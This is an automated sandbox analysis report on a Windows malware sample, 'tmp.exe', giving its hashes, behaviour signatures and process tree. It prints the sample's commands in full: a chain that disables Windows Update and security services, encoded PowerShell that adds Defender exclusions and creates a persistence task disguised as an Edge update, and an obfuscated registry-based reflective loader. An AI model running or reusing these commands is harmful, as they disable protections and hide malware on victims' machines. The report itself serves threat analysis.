Analysis
-
max time kernel
35s -
max time network
91s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
17-01-2023 20:24
Behavioral task
behavioral1
Sample
tmp.exe
Resource
win7-20221111-en
General
-
Target
tmp.exe
-
Size
4.9MB
-
MD5
619c8566b61a49d28d25590a16611849
-
SHA1
d6c75e985d9ae6ff79b29bf39cac1d7514e7a473
-
SHA256
aa0a1f379ba188db1bec2c91b483e9b628ddc319da17876cc0bab9d75b756cd2
-
SHA512
a367b2188076923c050879685196dcbbe036dd317e0c976a45999008938fe15621ed69691e9817965df0957abe1a00017ddbe6fa0b0d83a6c5b66ca08de63363
-
SSDEEP
98304:ZlsCMnpZW6zAEqWn4mb8AarnNGEsOOFUySajl69XE:bsdnm68Ev44/2nk8OF1xjl69
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe -
Drops file in Drivers directory 1 IoCs
Processes:
tmp.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts tmp.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
takeown.exeicacls.exepid process 1764 takeown.exe 1360 icacls.exe -
Stops running service(s) 3 TTPs
-
Processes:
resource yara_rule behavioral2/memory/2212-132-0x0000000000D60000-0x00000000016E4000-memory.dmp vmprotect -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
tmp.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation tmp.exe -
Modifies file permissions 1 TTPs 2 IoCs
Processes:
icacls.exetakeown.exepid process 1360 icacls.exe 1764 takeown.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 25 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
tmp.exedescription pid process target process PID 2212 set thread context of 3508 2212 tmp.exe conhost.exe -
Drops file in Windows directory 3 IoCs
Processes:
conhost.exedescription ioc process File created C:\Windows\Tasks\dialersvc32.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job conhost.exe File created C:\Windows\Tasks\dialersvc64.job conhost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 4928 sc.exe 3516 sc.exe 3384 sc.exe 64 sc.exe 384 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry key 1 TTPs 9 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 4104 reg.exe 3304 reg.exe 3004 reg.exe 2228 reg.exe 4876 reg.exe 3216 reg.exe 4240 reg.exe 2652 reg.exe 8 reg.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exetmp.exepowershell.exepid process 3932 powershell.exe 3932 powershell.exe 2212 tmp.exe 2832 powershell.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
powershell.exepowercfg.exetmp.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exedescription pid process Token: SeDebugPrivilege 3932 powershell.exe Token: SeShutdownPrivilege 1696 powercfg.exe Token: SeCreatePagefilePrivilege 1696 powercfg.exe Token: SeDebugPrivilege 2212 tmp.exe Token: SeShutdownPrivilege 3672 powercfg.exe Token: SeCreatePagefilePrivilege 3672 powercfg.exe Token: SeShutdownPrivilege 1936 powercfg.exe Token: SeCreatePagefilePrivilege 1936 powercfg.exe Token: SeShutdownPrivilege 4148 powercfg.exe Token: SeCreatePagefilePrivilege 4148 powercfg.exe Token: SeTakeOwnershipPrivilege 1764 takeown.exe Token: SeDebugPrivilege 2832 powershell.exe -
Suspicious use of WriteProcessMemory 51 IoCs
Processes:
tmp.execmd.execmd.exedescription pid process target process PID 2212 wrote to memory of 3932 2212 tmp.exe powershell.exe PID 2212 wrote to memory of 3932 2212 tmp.exe powershell.exe PID 2212 wrote to memory of 1796 2212 tmp.exe cmd.exe PID 2212 wrote to memory of 1796 2212 tmp.exe cmd.exe PID 2212 wrote to memory of 1768 2212 tmp.exe cmd.exe PID 2212 wrote to memory of 1768 2212 tmp.exe cmd.exe PID 1796 wrote to memory of 4928 1796 cmd.exe sc.exe PID 1796 wrote to memory of 4928 1796 cmd.exe sc.exe PID 1768 wrote to memory of 1696 1768 cmd.exe powercfg.exe PID 1768 wrote to memory of 1696 1768 cmd.exe powercfg.exe PID 1768 wrote to memory of 3672 1768 cmd.exe powercfg.exe PID 1768 wrote to memory of 3672 1768 cmd.exe powercfg.exe PID 1796 wrote to memory of 3516 1796 cmd.exe sc.exe PID 1796 wrote to memory of 3516 1796 cmd.exe sc.exe PID 1796 wrote to memory of 3384 1796 cmd.exe sc.exe PID 1796 wrote to memory of 3384 1796 cmd.exe sc.exe PID 1768 wrote to memory of 1936 1768 cmd.exe powercfg.exe PID 1768 wrote to memory of 1936 1768 cmd.exe powercfg.exe PID 1796 wrote to memory of 64 1796 cmd.exe sc.exe PID 1796 wrote to memory of 64 1796 cmd.exe sc.exe PID 1768 wrote to memory of 4148 1768 cmd.exe powercfg.exe PID 1768 wrote to memory of 4148 1768 cmd.exe powercfg.exe PID 1796 wrote to memory of 384 1796 cmd.exe sc.exe PID 1796 wrote to memory of 384 1796 cmd.exe sc.exe PID 1796 wrote to memory of 4240 1796 cmd.exe reg.exe PID 1796 wrote to memory of 4240 1796 cmd.exe reg.exe PID 1796 wrote to memory of 4104 1796 cmd.exe reg.exe PID 1796 wrote to memory of 4104 1796 cmd.exe reg.exe PID 1796 wrote to memory of 3304 1796 cmd.exe reg.exe PID 1796 wrote to memory of 3304 1796 cmd.exe reg.exe PID 1796 wrote to memory of 2652 1796 cmd.exe reg.exe PID 1796 wrote to memory of 2652 1796 cmd.exe reg.exe PID 1796 wrote to memory of 3004 1796 cmd.exe reg.exe PID 1796 wrote to memory of 3004 1796 cmd.exe reg.exe PID 1796 wrote to memory of 1764 1796 cmd.exe takeown.exe PID 1796 wrote to memory of 1764 1796 cmd.exe takeown.exe PID 1796 wrote to memory of 1360 1796 cmd.exe icacls.exe PID 1796 wrote to memory of 1360 1796 cmd.exe icacls.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 3508 2212 tmp.exe conhost.exe PID 2212 wrote to memory of 2832 2212 tmp.exe powershell.exe PID 2212 wrote to memory of 2832 2212 tmp.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp.exe"1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AcAB3AHkAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBmAHQAbQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBvAHYAYwBtACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAdgBsAHUAIwA+AA=="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f3⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAcwBzACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgACIAUABBAEEAagBBAEgATQBBAFoAdwBBAGoAQQBEADQAQQBJAEEAQgBUAEEASABRAEEAWQBRAEIAeQBBAEgAUQBBAEwAUQBCAFEAQQBIAEkAQQBiAHcAQgBqAEEARwBVAEEAYwB3AEIAegBBAEMAQQBBAEwAUQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEARgBBAEEAWQBRAEIAMABBAEcAZwBBAEkAQQBBAG4AQQBFAE0AQQBPAGcAQgBjAEEARgBBAEEAYwBnAEIAdgBBAEcAYwBBAGMAZwBCAGgAQQBHADAAQQBJAEEAQgBHAEEARwBrAEEAYgBBAEIAbABBAEgATQBBAFgAQQBCAE4AQQBHAGsAQQBZAHcAQgB5AEEARwA4AEEAYwB3AEIAdgBBAEcAWQBBAGQAQQBCAGMAQQBFAFUAQQBaAEEAQgBuAEEARwBVAEEAVgBRAEIAdwBBAEcAUQBBAFkAUQBCADAAQQBHAFUAQQBjAGcAQgBjAEEARQAwAEEAYQBRAEIAagBBAEgASQBBAGIAdwBCAHoAQQBHADgAQQBaAGcAQgAwAEEARQBVAEEAWgBBAEIAbgBBAEcAVQBBAFYAUQBCAHcAQQBHAFEAQQBZAFEAQgAwAEEARwBVAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAaQBBAEMAQQBBAFUAZwBCADEAQQBHADQAQQBRAFEAQgB6AEEAQwBBAEEAUABBAEEAagBBAEcAWQBBAFoAQQBCAHAAQQBDAE0AQQBQAGcAQQA9ACIAJwApACAAPAAjAGYAagAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAGMAZQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAHAAagAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlACAAVQBwAGQAYQB0AGUAIAAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHUAcQAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABFAGQAZwBlAFUAcABkAGEAdABlAHIAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlAFUAcABkAGEAdABlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGoAdwAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAZABiAGgAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBkAGcAZQAgAFUAcABkAGEAdABlACAAJwA7AA=="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\tmp.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e6ca02de-7ca1-491a-a6d7-37a75ce71249}1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHMAZwAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAEUAZABnAGUAVQBwAGQAYQB0AGUAcgBcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAVQBwAGQAYQB0AGUALgBlAHgAZQAnACAALQBWAGUAcgBiACAAUgB1AG4AQQBzACAAPAAjAGYAZABpACMAPgA="1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
-
memory/8-173-0x0000000000000000-mapping.dmp
-
memory/60-197-0x00007FF8FD290000-0x00007FF8FD2A0000-memory.dmpFilesize
64KB
-
memory/64-149-0x0000000000000000-mapping.dmp
-
memory/384-151-0x0000000000000000-mapping.dmp
-
memory/592-196-0x00007FF8FD290000-0x00007FF8FD2A0000-memory.dmpFilesize
64KB
-
memory/1360-158-0x0000000000000000-mapping.dmp
-
memory/1696-143-0x0000000000000000-mapping.dmp
-
memory/1764-157-0x0000000000000000-mapping.dmp
-
memory/1768-141-0x0000000000000000-mapping.dmp
-
memory/1792-171-0x00000000041E0000-0x0000000004808000-memory.dmpFilesize
6.2MB
-
memory/1792-169-0x00000000039F0000-0x0000000003A26000-memory.dmpFilesize
216KB
-
memory/1792-186-0x0000000004A80000-0x0000000004AE6000-memory.dmpFilesize
408KB
-
memory/1792-179-0x0000000004000000-0x0000000004022000-memory.dmpFilesize
136KB
-
memory/1792-183-0x0000000004910000-0x0000000004976000-memory.dmpFilesize
408KB
-
memory/1796-140-0x0000000000000000-mapping.dmp
-
memory/1812-187-0x00007FF91EE80000-0x00007FF91F941000-memory.dmpFilesize
10.8MB
-
memory/1812-188-0x00007FF93C7D0000-0x00007FF93C88E000-memory.dmpFilesize
760KB
-
memory/1812-170-0x00007FF91EE80000-0x00007FF91F941000-memory.dmpFilesize
10.8MB
-
memory/1812-185-0x00007FF93D210000-0x00007FF93D405000-memory.dmpFilesize
2.0MB
-
memory/1812-174-0x00007FF93D210000-0x00007FF93D405000-memory.dmpFilesize
2.0MB
-
memory/1812-176-0x00007FF93C7D0000-0x00007FF93C88E000-memory.dmpFilesize
760KB
-
memory/1852-192-0x0000000000000000-mapping.dmp
-
memory/1936-148-0x0000000000000000-mapping.dmp
-
memory/2212-139-0x00007FF91EE80000-0x00007FF91F941000-memory.dmpFilesize
10.8MB
-
memory/2212-132-0x0000000000D60000-0x00000000016E4000-memory.dmpFilesize
9.5MB
-
memory/2212-133-0x00007FF91EE80000-0x00007FF91F941000-memory.dmpFilesize
10.8MB
-
memory/2212-144-0x0000000003870000-0x0000000003882000-memory.dmpFilesize
72KB
-
memory/2228-172-0x0000000000000000-mapping.dmp
-
memory/2652-155-0x0000000000000000-mapping.dmp
-
memory/2668-193-0x0000000000000000-mapping.dmp
-
memory/2832-194-0x00007FF91EE80000-0x00007FF91F941000-memory.dmpFilesize
10.8MB
-
memory/2832-167-0x00007FF91EE80000-0x00007FF91F941000-memory.dmpFilesize
10.8MB
-
memory/2832-164-0x0000000000000000-mapping.dmp
-
memory/3004-156-0x0000000000000000-mapping.dmp
-
memory/3076-181-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3076-182-0x00007FF93D210000-0x00007FF93D405000-memory.dmpFilesize
2.0MB
-
memory/3076-184-0x00007FF93C7D0000-0x00007FF93C88E000-memory.dmpFilesize
760KB
-
memory/3076-190-0x00007FF93D210000-0x00007FF93D405000-memory.dmpFilesize
2.0MB
-
memory/3076-189-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3076-177-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3076-178-0x00000001400033F4-mapping.dmp
-
memory/3076-180-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3216-191-0x0000000000000000-mapping.dmp
-
memory/3304-154-0x0000000000000000-mapping.dmp
-
memory/3384-147-0x0000000000000000-mapping.dmp
-
memory/3508-159-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/3508-168-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/3508-161-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/3508-162-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/3508-163-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/3508-160-0x0000000140001844-mapping.dmp
-
memory/3516-146-0x0000000000000000-mapping.dmp
-
memory/3672-145-0x0000000000000000-mapping.dmp
-
memory/3932-138-0x00007FF91EE80000-0x00007FF91F941000-memory.dmpFilesize
10.8MB
-
memory/3932-137-0x00000212FEA30000-0x00000212FEA52000-memory.dmpFilesize
136KB
-
memory/3932-136-0x0000000000000000-mapping.dmp
-
memory/4104-153-0x0000000000000000-mapping.dmp
-
memory/4148-150-0x0000000000000000-mapping.dmp
-
memory/4240-152-0x0000000000000000-mapping.dmp
-
memory/4496-195-0x0000000000000000-mapping.dmp
-
memory/4876-175-0x0000000000000000-mapping.dmp
-
memory/4928-142-0x0000000000000000-mapping.dmp